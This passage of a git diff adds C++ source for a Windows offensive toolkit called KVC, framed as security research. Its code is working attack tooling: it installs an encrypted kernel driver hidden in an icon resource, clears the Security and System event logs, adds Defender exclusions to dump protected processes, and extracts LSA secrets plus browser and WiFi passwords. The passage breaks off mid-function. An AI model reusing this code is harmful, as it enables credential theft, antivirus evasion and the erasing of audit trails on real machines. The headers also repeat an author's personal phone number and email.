SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) return false; + + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); + if (!hService) { + CloseServiceHandle(hSCM); + return false; + } + + SERVICE_STATUS status; + bool success = true; + + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState != SERVICE_RUNNING) { + success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING); + } + } + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return success; +} + +// Legacy driver installation with enhanced error handling +bool Controller::InstallDriver() noexcept { + auto encryptedData = ExtractEncryptedDriver(); + if (encryptedData.empty()) { + ERROR(L"Failed to extract encrypted driver from icon resource"); + return false; + } + + auto driverData = DecryptDriver(encryptedData); + if (driverData.empty()) { + ERROR(L"Failed to decrypt embedded driver data"); + return false; + } + + fs::path tempDir = fs::temp_directory_path(); + fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); + + if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) { + ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str()); + return false; + } + + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + std::error_code ec; + fs::create_directories(driverDir, ec); + if (ec) { + INFO(L"Directory creation failed (may already exist)"); + } + + std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring(); + INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str()); + + if (!RunAsTrustedInstaller(copyCommand)) { + ERROR(L"Failed to copy driver to system directory with elevated privileges"); + DeleteFileW(tempDriverPath.c_str()); + return false; + } + + if (!fs::exists(driverPath)) { + ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str()); + DeleteFileW(tempDriverPath.c_str()); + return false; + } + + SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str()); + DeleteFileW(tempDriverPath.c_str()); + + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + ERROR(L"Failed to open service control manager: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pCreateServiceW( + hSCM, GetServiceName().c_str(), L"Memory Access Driver", + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, // KEY CHANGE + SERVICE_DEMAND_START, // start= demand + SERVICE_ERROR_NORMAL, driverPath.c_str(), + nullptr, nullptr, nullptr, nullptr, nullptr + ); + + if (!hService) { + DWORD err = GetLastError(); + CloseServiceHandle(hSCM); + + if (err != ERROR_SERVICE_EXISTS) { + ERROR(L"Failed to create driver service: %d", err); + return false; + } + + INFO(L"Driver service already exists, proceeding"); + } else { + CloseServiceHandle(hService); + SUCCESS(L"Driver service created successfully"); + } + + CloseServiceHandle(hSCM); + SUCCESS(L"Driver installed and registered as Windows service"); + return true; +} + +bool Controller::UninstallDriver() noexcept { + StopDriverService(); + + if (!InitDynamicAPIs()) return true; + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + return true; + } + + std::wstring serviceName = GetServiceName(); + SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE); + if (!hService) { + CloseServiceHandle(hSCM); + return true; + } + + BOOL success = g_pDeleteService(hService); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (!success) { + DWORD err = GetLastError(); + if (err != ERROR_SERVICE_MARKED_FOR_DELETE) { + ERROR(L"Failed to delete driver service: %d", err); + return false; + } + } + + // Clean up driver file + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + std::error_code ec; + if (!fs::remove(driverPath, ec)) { + if (ec.value() != ERROR_FILE_NOT_FOUND) { + std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\""; + RunAsTrustedInstallerSilent(delCommand); + } + } + + return true; +} + +bool Controller::StartDriverService() noexcept { + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + ERROR(L"Failed to open service control manager: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); + if (!hService) { + CloseServiceHandle(hSCM); + ERROR(L"Failed to open kernel driver service: %d", GetLastError()); + return false; + } + + SERVICE_STATUS status; + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_RUNNING) { + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + INFO(L"Kernel driver service already running"); + return true; + } + } + + BOOL success = g_pStartServiceW(hService, 0, nullptr); + DWORD err = GetLastError(); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (!success && err != ERROR_SERVICE_ALREADY_RUNNING) { + ERROR(L"Failed to start kernel driver service: %d", err); + return false; + } + + SUCCESS(L"Kernel driver service started successfully"); + return true; +} \ No newline at end of file diff --git a/kvc/ControllerEventLogOperations.cpp b/kvc/ControllerEventLogOperations.cpp new file mode 100644 index 0000000..6e444c6 --- /dev/null +++ b/kvc/ControllerEventLogOperations.cpp @@ -0,0 +1,82 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "Controller.h" +#include "common.h" + +// Fast admin privilege check using SID comparison - standalone function +static bool IsElevated() noexcept +{ + BOOL isAdmin = FALSE; + PSID adminGroup = nullptr; + SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY; + + if (AllocateAndInitializeSid(&ntAuth, 2, SECURITY_BUILTIN_DOMAIN_RID, + DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) { + + CheckTokenMembership(nullptr, adminGroup, &isAdmin); + FreeSid(adminGroup); + } + + return isAdmin == TRUE; +} + +// Core event log clearing function - optimized for speed and reliability +bool Controller::ClearSystemEventLogs() noexcept +{ + if (!IsElevated()) { + ERROR(L"Administrator privileges required for event log clearing"); + return false; + } + + // Primary system logs - order matters for dependency clearing + constexpr const wchar_t* logs[] = { + L"Application", L"Security", L"Setup", L"System" + }; + + int cleared = 0; + constexpr int total = sizeof(logs) / sizeof(logs[0]); + + INFO(L"Clearing system event logs..."); + + for (const auto& logName : logs) { + HANDLE hLog = OpenEventLogW(nullptr, logName); + if (hLog) { + // Clear with nullptr backup (fastest method) + if (ClearEventLogW(hLog, nullptr)) { + SUCCESS(L"Cleared: %s", logName); + ++cleared; + } else { + ERROR(L"Failed to clear: %s (Error: %d)", logName, GetLastError()); + } + CloseEventLog(hLog); + } else { + ERROR(L"Access denied: %s", logName); + } + } + + INFO(L"Summary: %d/%d logs cleared", cleared, total); + return cleared == total; +} \ No newline at end of file diff --git a/kvc/ControllerMemoryOperations.cpp b/kvc/ControllerMemoryOperations.cpp new file mode 100644 index 0000000..230599e --- /dev/null +++ b/kvc/ControllerMemoryOperations.cpp @@ -0,0 +1,311 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// ControllerMemoryOperations.cpp +#include "Controller.h" +#include "common.h" +#include "Utils.h" +#include + +extern volatile bool g_interrupted; + +// Atomic memory dump operations with comprehensive process validation +bool Controller::DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept { + return CreateMiniDump(pid, outputPath); +} + +bool Controller::DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto matches = FindProcessesByName(processName); + + if (matches.empty()) { + ERROR(L"No process found matching pattern: %s", processName.c_str()); + PerformAtomicCleanup(); + return false; + } + + if (matches.size() > 1) { + ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str()); + for (const auto& match : matches) { + std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n"; + } + PerformAtomicCleanup(); + return false; + } + + auto match = matches[0]; + INFO(L"Found process: %s (PID %d)", match.ProcessName.c_str(), match.Pid); + + PerformAtomicCleanup(); + + return CreateMiniDump(match.Pid, outputPath); +} + +// Create comprehensive memory dump with protection elevation and Defender bypass +bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept { + if (!PerformAtomicInit()) { + return false; + } + + if (g_interrupted) { + INFO(L"Operation cancelled by user before start"); + PerformAtomicCleanup(); + return false; + } + + std::wstring processName = Utils::GetProcessName(pid); + + // Add process to Defender exclusions to prevent interference during dumping + std::wstring processNameWithExt = processName; + if (processNameWithExt.find(L".exe") == std::wstring::npos) { + processNameWithExt += L".exe"; + } + m_trustedInstaller.AddProcessToDefenderExclusions(processName); + + // System process validation - these processes cannot be dumped + if (pid == 4 || processName == L"System") { + ERROR(L"Cannot dump System process (PID %d) - Windows kernel process, undumpable by design", pid); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + if (pid == 188 || processName == L"Secure System") { + ERROR(L"Cannot dump Secure System process (PID %d) - VSM/VBS protected process, undumpable", pid); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + if (pid == 232 || processName == L"Registry") { + ERROR(L"Cannot dump Registry process (PID %d) - kernel registry subsystem, undumpable", pid); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + if (processName == L"Memory Compression" || pid == 3052) { + ERROR(L"Cannot dump Memory Compression process (PID %d) - kernel memory manager, undumpable", pid); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + if (pid < 100 && pid != 0) { + INFO(L"Warning: Attempting to dump low PID process (%d: %s) - may fail due to system-level protection", + pid, processName.c_str()); + } + + if (g_interrupted) { + INFO(L"Operation cancelled by user during validation"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + // Get target process protection level for elevation + auto kernelAddr = GetProcessKernelAddress(pid); + if (!kernelAddr) { + ERROR(L"Failed to get kernel address for target process"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + auto targetProtection = GetProcessProtection(kernelAddr.value()); + if (!targetProtection) { + ERROR(L"Failed to get protection info for target process"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + if (g_interrupted) { + INFO(L"Operation cancelled by user before protection setup"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + // Protection elevation to match target process level + if (targetProtection.value() > 0) { + UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value()); + UCHAR targetSigner = Utils::GetSignerType(targetProtection.value()); + + std::wstring levelStr = (targetLevel == static_cast(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL"; + std::wstring signerStr; + + switch (static_cast(targetSigner)) { + case PS_PROTECTED_SIGNER::Lsa: signerStr = L"Lsa"; break; + case PS_PROTECTED_SIGNER::WinTcb: signerStr = L"WinTcb"; break; + case PS_PROTECTED_SIGNER::WinSystem: signerStr = L"WinSystem"; break; + case PS_PROTECTED_SIGNER::Windows: signerStr = L"Windows"; break; + case PS_PROTECTED_SIGNER::Antimalware: signerStr = L"Antimalware"; break; + case PS_PROTECTED_SIGNER::Authenticode: signerStr = L"Authenticode"; break; + case PS_PROTECTED_SIGNER::CodeGen: signerStr = L"CodeGen"; break; + case PS_PROTECTED_SIGNER::App: signerStr = L"App"; break; + default: + ERROR(L"Unknown signer type for target process"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + INFO(L"Target process protection: %s-%s", levelStr.c_str(), signerStr.c_str()); + + if (!SelfProtect(levelStr, signerStr)) { + ERROR(L"Failed to set self protection to %s-%s", levelStr.c_str(), signerStr.c_str()); + } else { + SUCCESS(L"Set self protection to %s-%s", levelStr.c_str(), signerStr.c_str()); + } + } else { + INFO(L"Target process is not protected, no self-protection needed"); + } + + if (!EnableDebugPrivilege()) { + ERROR(L"Failed to enable debug privilege"); + } + + if (g_interrupted) { + INFO(L"Operation cancelled by user before process access"); + SelfProtect(L"none", L"none"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + // Open target process with appropriate privileges + HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid); + if (!hProcess) { + hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (!hProcess) { + ERROR(L"Failed to open process (error: %d)", GetLastError()); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + } + + // Build output path for dump file + std::wstring fullPath = outputPath; + if (!outputPath.empty() && outputPath.back() != L'\\') + fullPath += L"\\"; + fullPath += processName + L"_" + std::to_wstring(pid) + L".dmp"; + + HANDLE hFile = CreateFileW(fullPath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + ERROR(L"Failed to create dump file (error: %d)", GetLastError()); + CloseHandle(hProcess); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + // Comprehensive dump type for maximum information extraction + MINIDUMP_TYPE dumpType = static_cast( + MiniDumpWithFullMemory | + MiniDumpWithHandleData | + MiniDumpWithUnloadedModules | + MiniDumpWithFullMemoryInfo | + MiniDumpWithThreadInfo | + MiniDumpWithTokenInformation + ); + + if (g_interrupted) { + INFO(L"Operation cancelled by user before dump creation"); + CloseHandle(hFile); + CloseHandle(hProcess); + DeleteFileW(fullPath.c_str()); + SelfProtect(L"none", L"none"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + INFO(L"Creating memory dump - this may take a while. Press Ctrl+C to cancel safely."); + + BOOL result = MiniDumpWriteDump(hProcess, pid, hFile, dumpType, NULL, NULL, NULL); + + if (g_interrupted) { + INFO(L"Operation was cancelled during dump creation"); + CloseHandle(hFile); + CloseHandle(hProcess); + DeleteFileW(fullPath.c_str()); + SelfProtect(L"none", L"none"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + CloseHandle(hFile); + CloseHandle(hProcess); + + if (!result) { + DWORD error = GetLastError(); + switch (error) { + case ERROR_TIMEOUT: + ERROR(L"MiniDumpWriteDump timed out - process may be unresponsive or in critical section"); + break; + case RPC_S_CALL_FAILED: + ERROR(L"RPC call failed - process may be a kernel-mode or system-critical process"); + break; + case ERROR_ACCESS_DENIED: + ERROR(L"Access denied - insufficient privileges even with protection bypass"); + break; + case ERROR_PARTIAL_COPY: + ERROR(L"Partial copy - some memory regions could not be read"); + break; + default: + ERROR(L"MiniDumpWriteDump failed (error: %d / 0x%08x)", error, error); + break; + } + DeleteFileW(fullPath.c_str()); + SelfProtect(L"none", L"none"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return false; + } + + SUCCESS(L"Memory dump created successfully: %s", fullPath.c_str()); + + INFO(L"Removing self-protection before cleanup..."); + SelfProtect(L"none", L"none"); + + if (g_interrupted) { + INFO(L"Operation completed but cleanup was interrupted"); + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + return true; + } + + // Clean up Defender exclusions and perform atomic cleanup + m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); + PerformAtomicCleanup(); + + return true; +} \ No newline at end of file diff --git a/kvc/ControllerPasswordManager.cpp b/kvc/ControllerPasswordManager.cpp new file mode 100644 index 0000000..cd1a720 --- /dev/null +++ b/kvc/ControllerPasswordManager.cpp @@ -0,0 +1,1016 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "Controller.h" +#include "ReportExporter.h" +#include "common.h" +#include "Utils.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "crypt32.lib") +#pragma comment(lib, "bcrypt.lib") + +namespace fs = std::filesystem; +extern volatile bool g_interrupted; + +// SQLite constants for winsqlite3.dll compatibility +constexpr int SQLITE_OPEN_READONLY = 0x00000001; + +// UTF-8 string conversion utilities for DPAPI operations +std::wstring StringToWString(const std::string& str) noexcept +{ + if (str.empty()) return L""; + + int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast(str.size()), nullptr, 0); + std::wstring result(size_needed, 0); + MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast(str.size()), result.data(), size_needed); + return result; +} + +std::string WStringToString(const std::wstring& wstr) noexcept +{ + if (wstr.empty()) return ""; + + int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast(wstr.size()), nullptr, 0, nullptr, nullptr); + std::string result(size_needed, 0); + WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast(wstr.size()), result.data(), size_needed, nullptr, nullptr); + return result; +} + +// Main DPAPI password extraction interface +bool Controller::ShowPasswords(const std::wstring& outputPath) noexcept +{ + std::wstring finalOutputPath = outputPath; + + if (finalOutputPath.empty()) { + wchar_t* downloadsPath; + if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, nullptr, &downloadsPath) == S_OK) { + finalOutputPath = downloadsPath; + CoTaskMemFree(downloadsPath); + } else { + finalOutputPath = GetSystemTempPath(); + } + } + + INFO(L"Starting DPAPI password extraction to: %s", finalOutputPath.c_str()); + + if (!PerformPasswordExtractionInit()) { + ERROR(L"Failed to initialize password extraction"); + return false; + } + + if (g_interrupted) { + INFO(L"Password extraction cancelled by user before start"); + PerformPasswordExtractionCleanup(); + return false; + } + + std::vector masterKeys; + if (!ExtractRegistryMasterKeys(masterKeys)) { + ERROR(L"Failed to extract registry master keys"); + PerformPasswordExtractionCleanup(); + return false; + } + + // Process and decrypt registry master keys for display + if (!ProcessRegistryMasterKeys(masterKeys)) { + INFO(L"Failed to process some registry master keys"); + } + + if (g_interrupted) { + INFO(L"Password extraction cancelled during registry access"); + PerformPasswordExtractionCleanup(); + return false; + } + + std::vector passwordResults; + + // Process Edge passwords through DPAPI (works well) + if (!ProcessBrowserPasswords(masterKeys, passwordResults, finalOutputPath)) { + ERROR(L"Failed to process Edge browser passwords"); + // Continue anyway - not critical failure + } + + if (g_interrupted) { + INFO(L"Password extraction cancelled during browser processing"); + PerformPasswordExtractionCleanup(); + return false; + } + + // Process Chrome passwords through kvc_pass (DPAPI gives garbage for Chrome) + INFO(L"Chrome passwords require COM elevation - delegating to kvc_pass..."); + if (!ExportBrowserData(finalOutputPath, L"chrome")) { + INFO(L"Chrome password extraction failed, continuing with Edge and WiFi"); + // Continue anyway - Chrome failure shouldn't break the rest + } + + if (g_interrupted) { + INFO(L"Password extraction cancelled during Chrome processing"); + PerformPasswordExtractionCleanup(); + return false; + } + + if (!ExtractWiFiCredentials(passwordResults)) { + ERROR(L"Failed to extract WiFi credentials"); + PerformPasswordExtractionCleanup(); + return false; + } + + if (g_interrupted) { + INFO(L"Password extraction cancelled before report generation"); + PerformPasswordExtractionCleanup(); + return false; + } + + ReportData reportData(passwordResults, masterKeys, finalOutputPath); + ReportExporter exporter; + + if (!exporter.ExportAllFormats(reportData)) { + ERROR(L"Failed to generate password reports"); + PerformPasswordExtractionCleanup(); + return false; + } + + exporter.DisplaySummary(reportData); + + PerformPasswordExtractionCleanup(); + SUCCESS(L"Password extraction completed successfully"); + return true; +} + +// Initialize DPAPI extraction with TrustedInstaller privileges +bool Controller::PerformPasswordExtractionInit() noexcept +{ + INFO(L"Initializing DPAPI extraction with TrustedInstaller privileges..."); + + if (!LoadSQLiteLibrary()) { + ERROR(L"Failed to load SQLite library"); + return false; + } + + if (!EnablePrivilege(L"SeDebugPrivilege")) { + ERROR(L"CRITICAL: Failed to enable SeDebugPrivilege"); + return false; + } + + if (!EnablePrivilege(L"SeImpersonatePrivilege")) { + ERROR(L"CRITICAL: Failed to enable SeImpersonatePrivilege"); + return false; + } + + EnablePrivilege(L"SeBackupPrivilege"); + EnablePrivilege(L"SeRestorePrivilege"); + + if (!m_trustedInstaller.PublicImpersonateSystem()) { + ERROR(L"Failed to impersonate SYSTEM: %d", GetLastError()); + return false; + } + + DWORD tiPid = m_trustedInstaller.StartTrustedInstallerService(); + if (!tiPid) { + ERROR(L"StartTrustedInstallerService failed: %d", GetLastError()); + RevertToSelf(); + return false; + } + + RevertToSelf(); + + HANDLE hFinalToken = m_trustedInstaller.GetCachedTrustedInstallerToken(); + if (!hFinalToken) { + ERROR(L"GetCachedTrustedInstallerToken returned null"); + return false; + } + + TOKEN_STATISTICS tokenStats; + DWORD dwLength; + if (!GetTokenInformation(hFinalToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwLength)) { + ERROR(L"Token validation failed: %d", GetLastError()); + return false; + } + + SUCCESS(L"DPAPI extraction initialization completed with TrustedInstaller token"); + return true; +} + +void Controller::PerformPasswordExtractionCleanup() noexcept +{ + UnloadSQLiteLibrary(); + + auto tempPattern = DPAPIConstants::GetTempPattern(); + try { + auto systemTempPath = GetSystemTempPath(); + for (const auto& entry : fs::directory_iterator(systemTempPath)) { + if (entry.path().filename().wstring().find(tempPattern) != std::wstring::npos) { + fs::remove(entry.path()); + } + } + } catch (...) { + // Silent cleanup failure is acceptable + } + + INFO(L"DPAPI extraction cleanup completed"); +} + +// Extract registry master keys using TrustedInstaller +bool Controller::ExtractRegistryMasterKeys(std::vector& masterKeys) noexcept +{ + INFO(L"Extracting LSA secrets using TrustedInstaller token"); + return ExtractLSASecretsViaTrustedInstaller(masterKeys); +} + +bool Controller::ExtractLSASecretsViaTrustedInstaller(std::vector& masterKeys) noexcept +{ + INFO(L"Extracting LSA secrets via TrustedInstaller + REG EXPORT..."); + + std::wstring systemTempPath = GetSystemTempPath(); + CreateDirectoryW(systemTempPath.c_str(), nullptr); + + HANDLE hTrustedToken = m_trustedInstaller.GetCachedTrustedInstallerToken(); + if (!hTrustedToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + std::wstring regExportPath = systemTempPath + L"\\secrets.reg"; + + const std::vector secretPaths = { + L"\"HKLM\\SECURITY\\Policy\\Secrets\\DPAPI_SYSTEM\"", + L"\"HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\"", + L"\"HKLM\\SECURITY\\Policy\\Secrets\\DefaultPassword\"" + }; + + bool success = false; + + for (const auto& secretPath : secretPaths) { + std::wstring regCommand = L"reg export " + secretPath + L" \"" + regExportPath + L"\" /y"; + + if (m_trustedInstaller.RunAsTrustedInstallerSilent(regCommand)) { + if (GetFileAttributesW(regExportPath.c_str()) != INVALID_FILE_ATTRIBUTES) { + HANDLE hFile = CreateFileW(regExportPath.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr); + if (hFile != INVALID_HANDLE_VALUE) { + LARGE_INTEGER fileSize; + if (GetFileSizeEx(hFile, &fileSize) && fileSize.QuadPart > 100) { + CloseHandle(hFile); + + if (ParseRegFileForSecrets(regExportPath, masterKeys)) { + success = true; + } + } else { + CloseHandle(hFile); + } + } + } + } + + DeleteFileW(regExportPath.c_str()); + } + + return success; +} + +// Parse registry export files for LSA secrets +bool Controller::ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector& masterKeys) noexcept +{ + std::ifstream file(regFilePath, std::ios::binary); + if (!file.is_open()) { + ERROR(L"Failed to open REG file: %s", regFilePath.c_str()); + return false; + } + + std::string content((std::istreambuf_iterator(file)), std::istreambuf_iterator()); + file.close(); + + std::wstring wcontent; + if (content.size() >= 2 && static_cast(content[0]) == 0xFF && static_cast(content[1]) == 0xFE) { + // UTF-16 LE BOM detected + const wchar_t* wdata = reinterpret_cast(content.data() + 2); + size_t wlen = (content.size() - 2) / sizeof(wchar_t); + wcontent = std::wstring(wdata, wlen); + } else { + // Assume UTF-8 + int size_needed = MultiByteToWideChar(CP_UTF8, 0, content.c_str(), -1, nullptr, 0); + if (size_needed > 0) { + wcontent.resize(size_needed - 1); + MultiByteToWideChar(CP_UTF8, 0, content.c_str(), -1, wcontent.data(), size_needed); + } else { + return false; + } + } + + std::wistringstream stream(wcontent); + std::wstring line; + std::wstring currentKeyPath; + std::wstring hexData; + bool inCurrValSection = false; + int extractedCount = 0; + + while (std::getline(stream, line)) { + // Trim whitespace + line.erase(0, line.find_first_not_of(L" \t\r\n")); + line.erase(line.find_last_not_of(L" \t\r\n") + 1); + + if (line.empty()) continue; + + if (line.length() > 2 && line[0] == L'[' && line.back() == L']') { + // Process previous section if we have data + if (inCurrValSection && !hexData.empty()) { + RegistryMasterKey masterKey; + masterKey.keyName = L"HKLM\\" + currentKeyPath; + + if (ConvertHexStringToBytes(hexData, masterKey.encryptedData)) { + masterKeys.push_back(masterKey); + extractedCount++; + SUCCESS(L"Extracted LSA secret: %s (%d bytes)", + currentKeyPath.c_str(), static_cast(masterKey.encryptedData.size())); + } + hexData.clear(); + } + + inCurrValSection = false; + + std::wstring fullPath = line.substr(1, line.length() - 2); + if (fullPath.starts_with(L"HKEY_LOCAL_MACHINE\\")) { + currentKeyPath = fullPath.substr(19); + + if (currentKeyPath.find(L"\\CurrVal") != std::wstring::npos) { + std::wstring baseKey = currentKeyPath.substr(0, currentKeyPath.find(L"\\CurrVal")); + if (baseKey == L"SECURITY\\Policy\\Secrets\\DPAPI_SYSTEM" || + baseKey == L"SECURITY\\Policy\\Secrets\\NL$KM" || + baseKey == L"SECURITY\\Policy\\Secrets\\DefaultPassword") { + inCurrValSection = true; + } + } + } + continue; + } + + if (inCurrValSection) { + if (line.starts_with(L"@=hex(0):")) { + hexData = line.substr(9); + } + else if (!hexData.empty() && + (line[0] == L' ' || line[0] == L'\t' || line.find(L",") != std::wstring::npos)) { + std::wstring cleanLine = line; + cleanLine.erase(0, cleanLine.find_first_not_of(L" \t\\")); + cleanLine.erase(cleanLine.find_last_not_of(L" \t\\") + 1); + + if (!cleanLine.empty()) { + hexData += cleanLine; + } + } + } + } + + // Process final section + if (inCurrValSection && !hexData.empty()) { + RegistryMasterKey masterKey; + masterKey.keyName = L"HKLM\\" + currentKeyPath; + + if (ConvertHexStringToBytes(hexData, masterKey.encryptedData)) { + masterKeys.push_back(masterKey); + extractedCount++; + SUCCESS(L"Extracted final LSA secret: %s (%d bytes)", + currentKeyPath.c_str(), static_cast(masterKey.encryptedData.size())); + } + } + + return extractedCount > 0; +} + +bool Controller::ConvertHexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept +{ + std::wstring cleanHex; + cleanHex.reserve(hexString.length()); + + for (wchar_t c : hexString) { + if ((c >= L'0' && c <= L'9') || + (c >= L'a' && c <= L'f') || + (c >= L'A' && c <= L'F')) { + cleanHex += c; + } + } + + if (cleanHex.length() % 2 != 0) { + ERROR(L"Invalid hex string length: 